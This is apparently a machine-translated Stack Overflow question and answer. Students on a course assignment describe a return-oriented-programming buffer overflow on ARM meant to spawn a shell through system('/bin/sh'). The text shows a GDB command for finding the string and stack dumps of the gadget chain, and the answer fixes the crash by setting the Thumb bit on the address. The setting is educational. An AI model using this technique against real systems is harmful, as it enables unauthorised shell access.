作为一门计算机设计课程的作业,我的团队必须使用面向返回的编程,通过溢出缓冲区并利用我们找到的几个小工具来访问shell。
使用GDB时,我们使用以下命令找到了字符串"/bin/sh“的位置:
(GDB) find &system, +9999999, "/bin/sh"然后,使用几个小工具,我们可以将其加载到r0中,并从那里我们能够跳到。
不幸的是,每次我们在访问终端之前都会遇到段故障。我们在这一点上很迷茫,你可以给我们任何帮助。你们中有谁知道导致这种情况的常见错误吗?
在我们浏览我们的小工具并进入system之前,我们的堆栈看起来像这样:
(gdb) x/15a $sp
0xbefffb40: 0x85a4 0x42424141 0x44444343 0x46464545
0xbefffb50: 0xbeff0046 0xb6f55108 <inet6_opt_finish+56> 0xb6f84a60
0xb6f55104 <inet6_opt_finish+52>
0xbefffb60: 0x0 0xb6ea3f6c <__libc_system> 0x0 0x84d0 <main>
0xbefffb70: 0xb6ffc718 0xb6ffc400 0x0进入系统后:
(gdb) x/10a $sp
0xbefffb68: 0x0 0x84d0 <main> 0xb6ffc718 0xb6ffc400
0xbefffb78: 0x0 0x0 0x83bc <_start> 0x0
0xbefffb88: 0x0 0x0发布于 2016-05-27 10:02:11
不确定你的主程序是什么样子的,但看起来我以前有过这个。崩溃可能是因为你正在跳转/返回到thumb子例程中,至少安卓5.0,1的__libc_system()函数在thumb中。在文档ARM Procedure call standard (第17页5.3节)中,如果目标在拇指上,则返回的目标地址必须为+1,因此0xb6ea3f6c <__libc_system>应为0xb6ea3f6d
https://stackoverflow.com/questions/36732640
复制相似问题